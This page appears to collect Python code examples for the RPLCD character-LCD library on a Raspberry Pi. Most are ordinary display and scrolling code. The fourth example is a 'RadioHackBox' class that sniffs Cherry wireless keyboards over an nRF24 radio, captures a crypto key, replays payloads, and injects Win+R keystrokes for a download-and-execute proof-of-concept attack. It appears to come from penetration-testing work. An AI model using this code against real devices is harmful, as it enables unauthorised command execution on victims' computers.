Beispiel #1
0
def write_to_lcd(ifname):

    lcd = CharLCD()

    lcd.clear()
    lcd.home()
    lcd.write_string(get_hostname())
    lcd.cursor_pos = (1, 0)
    lcd.write_string(get_device_type())
    lcd.cursor_pos = (2, 0)
    lcd.write_string(get_ip_address(ifname))
Beispiel #2
0
lcd.cursor_pos = (0, 5)
lcd.write_string('12345')
input('The string should have a left offset of 5 characters. ')

lcd.write_shift_mode = ShiftMode.display
lcd.cursor_pos = (1, 5)
lcd.write_string('12345')
input('Both strings should now be at column 0. ')

lcd.write_shift_mode = ShiftMode.cursor
lcd.cursor_pos = (1, 5)
lcd.write_string(lcd.write_shift_mode.name)
input('The string "cursor" should now be on the second row, column 0. ')

lcd.home()
input('Cursor should now be at initial position. Everything should be shifted to the right by 5 characters. ')

with cursor(lcd, 1, 15):
    lcd.write_string('X')
input('The last character on the LCD should now be an "X"')

lcd.display_enabled = False
input('Display should now be blank. ')

with cleared(lcd):
    lcd.write_string('Eggs, Ham\n\rand Spam')
lcd.display_enabled = True
input('Display should now show "Eggs, Ham and Spam" with a line break after "Ham". ')

lcd.shift_display(4)
Beispiel #3
0
lcd.cursor_pos = (0, 5)
lcd.write_string('12345')
input('The string should have a left offset of 5 characters. ')

lcd.write_shift_mode = ShiftMode.display
lcd.cursor_pos = (1, 5)
lcd.write_string('12345')
input('Both strings should now be at column 0. ')

lcd.write_shift_mode = ShiftMode.cursor
lcd.cursor_pos = (1, 5)
lcd.write_string(lcd.write_shift_mode.name)
input('The string "cursor" should now be on the second row, column 0. ')

lcd.home()
input(
    'Cursor should now be at initial position. Everything should be shifted to the right by 5 characters. '
)

with cursor(lcd, 1, 15):
    lcd.write_string('X')
input('The last character on the LCD should now be an "X"')

lcd.display_enabled = False
input('Display should now be blank. ')

with cleared(lcd):
    lcd.write_string('Eggs, Ham\n\rand Spam')
lcd.display_enabled = True
input(
Beispiel #4
0
class RadioHackBox():
    """Radio Hack Box"""

    def __init__(self):
        """Initialize the nRF24 radio and the Raspberry Pi"""

        self.state = IDLE                            # current state
        self.lcd = None                              # LCD
        self.radio = None                            # nRF24 radio
        self.address = None                          # address of Cherry keyboard (CAUTION: Reversed byte order compared to sniffer tools!)
        self.channel = 6                             # used ShockBurst channel (was 6 for all tested Cherry keyboards)
        self.payloads = []                           # list of sniffed payloads
        self.kbd = None                              # keyboard for keystroke injection attacks

        try:
            # disable GPIO warnings
            GPIO.setwarnings(False)

            # initialize LCD
            self.lcd = CharLCD(cols=16, rows=2, pin_rs=15, pin_rw=18, pin_e=16, pins_data=[21, 22, 23, 24])
            self.lcd.clear()
            self.lcd.home()
            self.lcd.write_string(APP_NAME)
            self.lcd.cursor_pos = (1, 0)
            self.lcd.write_string(SYSS_BANNER)

            # use Raspberry Pi board pin numbers
            GPIO.setmode(GPIO.BOARD)

            # set up the GPIO pins
            GPIO.setup(RED_LED, GPIO.OUT, initial = GPIO.LOW)
            GPIO.setup(GREEN_LED, GPIO.OUT, initial = GPIO.LOW)
            GPIO.setup(BLUE_LED, GPIO.OUT, initial = GPIO.LOW)
            GPIO.setup(RECORD_BUTTON, GPIO.IN, pull_up_down = GPIO.PUD_DOWN)
            GPIO.setup(REPLAY_BUTTON, GPIO.IN, pull_up_down = GPIO.PUD_DOWN)
            GPIO.setup(ATTACK_BUTTON, GPIO.IN, pull_up_down = GPIO.PUD_DOWN)
            GPIO.setup(SCAN_BUTTON, GPIO.IN, pull_up_down = GPIO.PUD_DOWN)

            # set callcack functions
            GPIO.add_event_detect(RECORD_BUTTON, GPIO.RISING, callback = self.buttonCallback, bouncetime = 250)
            GPIO.add_event_detect(REPLAY_BUTTON, GPIO.RISING, callback = self.buttonCallback, bouncetime = 250)
            GPIO.add_event_detect(ATTACK_BUTTON, GPIO.RISING, callback = self.buttonCallback, bouncetime = 250)
            GPIO.add_event_detect(SCAN_BUTTON, GPIO.RISING, callback = self.buttonCallback, bouncetime = 250)

            # initialize radio
            self.radio = nrf24.nrf24()

            # enable LNA
            self.radio.enable_lna()

            # show startup info for some time with blinkenlights
            self.blinkenlights()

            # start scanning mode
            self.setState(SCAN)
        except:
            # error when initializing Radio Hack Box
            self.lcd.clear()
            self.lcd.home()
            self.lcd.write_string(u"Error: 0xDEAD")
            self.lcd.cursor_pos = (1, 0)
            self.lcd.write_string(u"Please RTFM!")


    def blinkenlights(self):
        """Blinkenlights"""

        for i in range(10):
            GPIO.output(RED_LED, GPIO.HIGH)
            GPIO.output(GREEN_LED, GPIO.HIGH)
            GPIO.output(BLUE_LED, GPIO.HIGH)
            sleep(0.1)
            GPIO.output(RED_LED, GPIO.LOW)
            GPIO.output(GREEN_LED, GPIO.LOW)
            GPIO.output(BLUE_LED, GPIO.LOW)
            sleep(0.1)


    def setState(self, newState):
        """Set state"""

        # set LCD content
        self.lcd.clear()
        self.lcd.home()
        self.lcd.write_string(APP_NAME)
        self.lcd.cursor_pos = (1, 0)

        if newState == RECORD:
            # set RECORD state
            self.state = RECORD

            # set LEDs
            GPIO.output(RED_LED, GPIO.HIGH)
            GPIO.output(GREEN_LED, GPIO.LOW)
            GPIO.output(BLUE_LED, GPIO.LOW)

            # set LCD content
            self.lcd.write_string(u"Recording ...")

        elif newState == REPLAY:
            # set REPLAY state
            self.state = REPLAY

            # set LEDs
            GPIO.output(RED_LED, GPIO.LOW)
            GPIO.output(GREEN_LED, GPIO.HIGH)
            GPIO.output(BLUE_LED, GPIO.LOW)

            # set LCD content
            self.lcd.write_string(u"Replaying ...")

        elif newState == SCAN:
            # set SCAN state
            self.state = SCAN

            # set LEDs
            GPIO.output(RED_LED, GPIO.LOW)
            GPIO.output(GREEN_LED, GPIO.LOW)
            GPIO.output(BLUE_LED, GPIO.HIGH)

            # set LCD content
            self.lcd.write_string(u"Scanning ...")

        elif newState == ATTACK:
            # set ATTACK state
            self.state = ATTACK

            # set LEDs
            GPIO.output(RED_LED, GPIO.LOW)
            GPIO.output(GREEN_LED, GPIO.HIGH)
            GPIO.output(BLUE_LED, GPIO.LOW)

            # set LCD content
            self.lcd.write_string(u"Attacking ...")

        elif newState == SHUTDOWN:
            # set SHUTDOWN state
            self.state = SHUTDOWN

            # set LEDs
            GPIO.output(RED_LED, GPIO.LOW)
            GPIO.output(GREEN_LED, GPIO.LOW)
            GPIO.output(BLUE_LED, GPIO.LOW)

            # set LCD content
            self.lcd.write_string(u"Shutdown ...")

        else:
            # set IDLE state
            self.state = IDLE

            # set LEDs
            GPIO.output(RED_LED, GPIO.LOW)
            GPIO.output(GREEN_LED, GPIO.LOW)
            GPIO.output(BLUE_LED, GPIO.LOW)

            # set LCD content
            self.lcd.write_string(SYSS_BANNER)


    def buttonCallback(self, channel):
        """Callback function for user input (pressed buttons)"""

        # record button state transitions
        if channel == RECORD_BUTTON:
            # if the current state is IDLE change it to RECORD
            if self.state == IDLE:
                # set RECORD state
                self.setState(RECORD)

                # empty payloads list
                self.payloads = []

            # if the current state is RECORD change it to IDLE
            elif self.state == RECORD:
                # set IDLE state
                self.setState(IDLE)

        # play button state transitions
        elif channel == REPLAY_BUTTON:
            # if the current state is IDLE change it to REPLAY
            if self.state == IDLE:
                # set REPLAY state
                self.setState(REPLAY)

        # scan button state transitions
        elif channel == SCAN_BUTTON:
            # wait a short a time to see whether the record button is also
            # press in order to perform a graceful shutdown

            # remove event detection for record button
            GPIO.remove_event_detect(RECORD_BUTTON)
            chan = GPIO.wait_for_edge(RECORD_BUTTON, GPIO.RISING, timeout=1000)
            if chan != None:
                # set SHUTDOWN state
                self.setState(SHUTDOWN)

            # set callback function for record button
            GPIO.remove_event_detect(RECORD_BUTTON)
            GPIO.add_event_detect(RECORD_BUTTON, GPIO.RISING, callback = self.buttonCallback, bouncetime = 250)

            # if the current state is IDLE change it to SCAN
            if self.state == IDLE:
                # set SCAN state
                self.setState(SCAN)

        # attack button state transitions
        elif channel == ATTACK_BUTTON:
            # if the current state is IDLE change it to ATTACK
            if self.state == IDLE:
                # set ATTACK state
                self.setState(ATTACK)

        # debug output
        debug("State: {0}".format(self.state))


    def unique_everseen(self, seq):
        """Remove duplicates from a list while preserving the item order"""
        seen = set()
        return [x for x in seq if str(x) not in seen and not seen.add(str(x))]


    def run(self):
        # main loop
        try:
            while True:
                if self.state == RECORD:
                    # info output
                    info("Start RECORD mode")

                    # receive payload
                    value = self.radio.receive_payload()

                    if value[0] == 0:
                        # split the payload from the status byte
                        payload = value[1:]

                        # add payload to list
                        self.payloads.append(payload)

                        # info output, show packet payload
                        info('Received payload: {0}'.format(hexlify(payload)))

                elif self.state == REPLAY:
                    # info output
                    info("Start REPLAY mode")

                    # remove duplicate payloads (retransmissions)
                    payloadList = self.unique_everseen(self.payloads)

                    # replay all payloads
                    for p in payloadList:
                        # transmit payload
                        self.radio.transmit_payload(p.tostring())

                        # info output
                        info('Sent payload: {0}'.format(hexlify(p)))


                    # set IDLE state after playback
                    sleep(0.5)                           # delay for LCD
                    self.setState(IDLE)

                elif self.state == SCAN:
                    # info output
                    info("Start SCAN mode")

                    # put the radio in promiscuous mode
                    self.radio.enter_promiscuous_mode(PREFIX_ADDRESS)

                    # define channels for scan mode
                    channels = [6]

                    # set initial channel
                    self.radio.set_channel(channels[0])

                    # sweep through the defined channels and decode ESB packets in pseudo-promiscuous mode
                    last_tune = time()
                    channel_index = 0
                    while True:
                        # increment the channel
                        if len(channels) > 1 and time() - last_tune > DWELL_TIME:
                            channel_index = (channel_index + 1) % (len(channels))
                            self.radio.set_channel(channels[channel_index])
                            last_tune = time()

                        # receive payloads
                        value = self.radio.receive_payload()
                        if len(value) >= 5:
                            # split the address and payload
                            address, payload = value[0:5], value[5:]

                            # convert address to string and reverse byte order
                            converted_address = address[::-1].tostring()

                            # check if the address most probably belongs to a Cherry keyboard
                            if ord(converted_address[0]) in range(0x31, 0x3f):
                                # first fit strategy to find a Cherry keyboard
                                self.address = converted_address
                                break

                    # set LCD content
                    self.lcd.clear()
                    self.lcd.home()
                    self.lcd.write_string("Found keyboard")
                    self.lcd.cursor_pos = (1, 0)
                    address_string = ':'.join('{:02X}'.format(b) for b in address)
                    self.lcd.write_string(address_string)

                    # info output
                    info("Found keyboard with address {0}".format(address_string))

                    # put the radio in sniffer mode (ESB w/o auto ACKs)
                    self.radio.enter_sniffer_mode(self.address)

                    last_key = 0
                    packet_count = 0
                    while True:
                        # receive payload
                        value = self.radio.receive_payload()

                        if value[0] == 0:
                            # do some time measurement
                            last_key = time()

                            # split the payload from the status byte
                            payload = value[1:]

                            # increment packet count
                            packet_count += 1

                            # show packet payload
                            info('Received payload: {0}'.format(hexlify(payload)))

                        # heuristic for having a valid release key data packet
                        if packet_count >= 4 and time() - last_key > SCAN_TIME:
                            break

                    self.radio.receive_payload()

                    # show info on LCD
                    self.lcd.cursor_pos = (1, 0)
                    self.lcd.write_string(u"Got crypto key!")

                    # info output
                    info('Got crypto key!')

                    # initialize keyboard
                    self.kbd = keyboard.CherryKeyboard(payload.tostring())
                    info('Initialize keyboard')

                    # set IDLE state after scanning
                    sleep(LCD_DELAY)                    # delay for LCD
                    self.setState(IDLE)

                elif self.state == ATTACK:
                    # info output
                    info("Start ATTACK mode")

                    if self.kbd != None:
#                        # send keystrokes for a classic PoC attack
#                        keystrokes = []
#                        keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE))
#                        keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R))
#                        keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE))
#                        keystrokes += self.kbd.getKeystrokes(u"cmd")
#                        keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN)
#                        keystrokes += self.kbd.getKeystrokes(u"rem All your base are belong to SySS!")
#                        keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN)

                        # send keystrokes for a classic download and execute PoC attack
                        keystrokes = []
                        keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE))
                        keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R))
                        keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE))

                        # send attack keystrokes
                        for k in keystrokes:
                            self.radio.transmit_payload(k)

                            # info output
                            info('Sent payload: {0}'.format(hexlify(k)))

                        # need small delay after WIN + R
                        sleep(0.1)

                        keystrokes = []
                        keystrokes = self.kbd.getKeystrokes(ATTACK_VECTOR)
                        keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN)

                        # send attack keystrokes with a small delay
                        for k in keystrokes:
                            self.radio.transmit_payload(k)

                            # info output
                            info('Sent payload: {0}'.format(hexlify(k)))

                    # set IDLE state after attack
                    sleep(0.5)                          # delay for LCD
                    self.setState(IDLE)

                elif self.state == SHUTDOWN:
                    # info output
                    info("SHUTDOWN")
                    sleep(0.5)

                    # perform graceful shutdown
                    command = "/usr/bin/sudo /sbin/shutdown -h now"
                    process = subprocess.Popen(command.split(), stdout=subprocess.PIPE)
                    output = process.communicate()[0]

                    # show info on LCD
                    self.lcd.clear()
                    self.lcd.home()
                    self.lcd.write_string(APP_NAME)
                    self.lcd.cursor_pos = (1, 0)
                    self.lcd.write_string("3, 2, 1, gone.")

                    # clean GPIO pin settings
                    GPIO.cleanup()
                    exit(1)

        except KeyboardInterrupt:
            exit(1)
        finally:
            # clean up GPIO pin settings
            GPIO.cleanup()
Beispiel #5
0
class Display(object):
    """ Represents a physical character dispaly     """

    COLUMNS = 16
    """ configure the number of columns of the display """
    ROWS = 2
    """ configure the number of rows of the display """
    SCROLL_STEP_DURATION = 0.3  # sec
    """ while scrolling text, how long to show one frame  """

    def __init__(self, pin_rs, pin_contrast, pin_rw, pin_e, pins_data):
        """ See the display manual for the meaning of the pins.
        :param pin_rs: the GPIO pin for RS
        :param pin_contrast: the GPIO pin for contrast
        :param pin_rw: the GPIO pin for RW
        :param pin_e: the GPIO pin for E
        :param pins_data: the GPIO data pins (array with 4 integers)
        :return:
        """
        self.pins_data = pins_data
        self.pin_e = pin_e
        self.pin_rw = pin_rw
        self.pin_contrast = pin_contrast
        self.pin_rs = pin_rs

        self._queue = Queue()

        self.contrast = None
        self.lcd = None
        self.standby_function = None

    def start(self):
        """ start the worker thread to handle animation         """
        self.setup()

        worker_thread = threading.Thread(target=self._run)
        worker_thread.daemon = True
        worker_thread.start()

        LOG.debug("started display")

    def setup(self):
        """ setup GPIO pins and start GPIO PWM
        """
        from RPLCD import CharLCD
        from RPi import GPIO as GPIO

        GPIO.setup(self.pin_contrast, GPIO.OUT)
        self.lcd = CharLCD(
            pin_rs=self.pin_rs,
            pin_rw=self.pin_rw,
            pin_e=self.pin_e,
            pins_data=self.pins_data,
            numbering_mode=GPIO.BOARD,
            cols=Display.COLUMNS,
            rows=Display.ROWS,
            dotsize=8,
        )
        self.lcd.cursor_pos = (0, 0)

        # the contrast needs a curtain  current, found value by try and error
        self.contrast = GPIO.PWM(self.pin_contrast, 1000)
        self.contrast.start(40)

    def _run(self):
        """ internal function that runs endless loop  """
        while True:
            # get message from the queue, wait if there is no message
            msg = self._queue.get(block=True)
            # set the cursor to row 0, column 0
            self.lcd.home()
            start_time = time.time()
            while self._queue.empty() and (time.time() - start_time) < msg.duration:
                # the display is always filled with spaces. This avoids the requirement to call clear() and this
                # avoids flickering.
                self.lcd.write_string(msg.get_line1())
                self.lcd.write_string(msg.get_line2())
                # scroll the text one step
                msg.scroll()
                # sleep to keep the scrolling text for a moment (but stop if there is another message waiting)
                sleep_until(lambda: not self._queue.empty(), Display.SCROLL_STEP_DURATION)
            # if the queue is empty and there is a standby function: run it.
            if self._queue.empty():
                if self.standby_function:
                    self.standby_function()

    def set_standby_function(self, func):
        """ defines a function that should be run when there is nothing else to display.
        :param func: the function that will be called
        """
        self.standby_function = func

    def show(self, sec, line1, line2="", scroll=True, centered=True):
        """ show the given text on the display. The request is queued until the previous request has finished.
        :param sec: how many seconds to display the text for
        :param line1: text for first line
        :param line2: text for second lind
        :param scroll: True  to enable scrolling
        :param centered: True to center the text (looks nice!)
        """
        msg = Display.Message(
            duration=sec,
            scroll=scroll,
            line1=Display.Line(line1, scroll=scroll, centered=centered),
            line2=Display.Line(line2, scroll=scroll, centered=centered),
        )
        self._queue.put(msg)

    class Line(object):
        """ Represents one line on the display . It has its own scroll state.        """

        SCROLL_BREAK = " - "
        """ symbols to show between text when scrolling """

        def __init__(self, text, scroll=False, centered=False):
            """
            :param text: text to scroll
            :param scroll: True to enable scrolling
            :param centered: True to center the text (looks nice!)
            """
            self.text = Display.Line._clean(text)

            if centered:
                spaces = Display.COLUMNS - len(self.text)
                if spaces > 0:
                    leftspaces = int(spaces / 2)
                    rightspaces = int(spaces - leftspaces)
                    self.text = " " * leftspaces + self.text + " " * rightspaces
            # only scroll if the text is too long
            self.scroll_enabled = scroll and len(self.text) > Display.COLUMNS

            # current scroll position
            self.scroll_offset = 0

        def get(self):
            """ the text that should be displayed in the current scrolling position             """
            if self.scroll_enabled:
                long_line = self.text + Display.Line.SCROLL_BREAK + self.text
                result = long_line[self.scroll_offset : Display.COLUMNS + self.scroll_offset]
            else:
                result = self.text[0 : Display.COLUMNS]
            return result.ljust(Display.COLUMNS)

        def scroll(self):
            """ scroll one step (if enabled)           """
            if self.scroll_enabled:
                self.scroll_offset += 1
                if self.scroll_offset == len(self.text) + len(Display.Line.SCROLL_BREAK):
                    self.scroll_offset = 0

        @staticmethod
        def _clean(string):
            """ internal helper method to strip newlines from the string. Newlines are shown as empty character,
            which is not what we want.
            :param string: string to clean
            :return: cleaned string
            """
            return string.replace("\n", "").strip()

        def __str__(self):
            """
            :return: text representation for debugging
            """
            return "%s" % self.text

    class Message:
        """ represents a message to display, may contain 2 lines.        """

        def __init__(self, duration, line1, line2, scroll=True):
            """
            :param duration: how many seconds to display the text for
            :param line1: text for first line
            :param line2: text for second lind
            :param scroll: True  to enable scrolling
            """
            self.line1 = line1
            self.line2 = line2
            self.duration = duration

        def scroll(self):
            """ scroll one step (if enabled)           """
            self.line1.scroll()
            self.line2.scroll()

        def get_line1(self):
            """
            :return: the text that should be displayed in line 1 in the current scrolling position
            """
            return self.line1.get()

        def get_line2(self):
            """
            :return: the text that should be displayed in line 2 in the current scrolling position
            """
            return self.line2.get()

        def __str__(self):
            """
            :return: text representation for debugging
            """
            return "%s/%s(%s sec)" % (self.line1, self.line2, self.duration)